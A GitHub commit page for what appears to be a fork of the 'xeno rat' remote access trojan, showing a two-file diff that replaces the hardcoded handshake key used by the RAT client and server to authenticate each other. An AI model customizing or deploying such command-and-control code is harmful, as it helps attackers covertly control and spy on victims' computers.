Skip to content

Commit

Permalink
update key
Browse files Browse the repository at this point in the history
  • Loading branch information
Vasco0x4 committed Jan 3, 2025
1 parent 7b26537 commit 0d3ad5e
Show file tree
Hide file tree
Showing 2 changed files with 2 additions and 2 deletions.
2 changes: 1 addition & 1 deletion xeno rat client/Node.cs
Original file line number Diff line number Diff line change
Expand Up @@ -123,7 +123,7 @@ public void ResetRecvTimeout()
public async Task<bool> AuthenticateAsync(int type, int id = 0)//0 = main, 1 = heartbeat, 2 = anything else
{
byte[] data;
byte[] comp = new byte[] { 109, 111, 111, 109, 56, 50, 53 };
byte[] comp = new byte[] { 123, 45, 67, 89, 12, 34, 56, 78, 90, 23, 45, 67, 89, 101, 112, 131 };
try
{
sock.SetRecvTimeout(5000);
Expand Down
2 changes: 1 addition & 1 deletion xeno rat server/Node.cs
Original file line number Diff line number Diff line change
Expand Up @@ -242,7 +242,7 @@ public async Task<bool> AuthenticateAsync(int id)//first call that should ever b
}
if (ByteArrayCompare(randomKey, data))
{
if (!(await sock.SendAsync(new byte[] { 109, 111, 111, 109, 56, 50, 53 })))
if (!(await sock.SendAsync(new byte[] { 123, 45, 67, 89, 12, 34, 56, 78, 90, 23, 45, 67, 89, 101, 112, 131 })))
{
return false;
}
Expand Down

0 comments on commit 0d3ad5e

Please sign in to comment.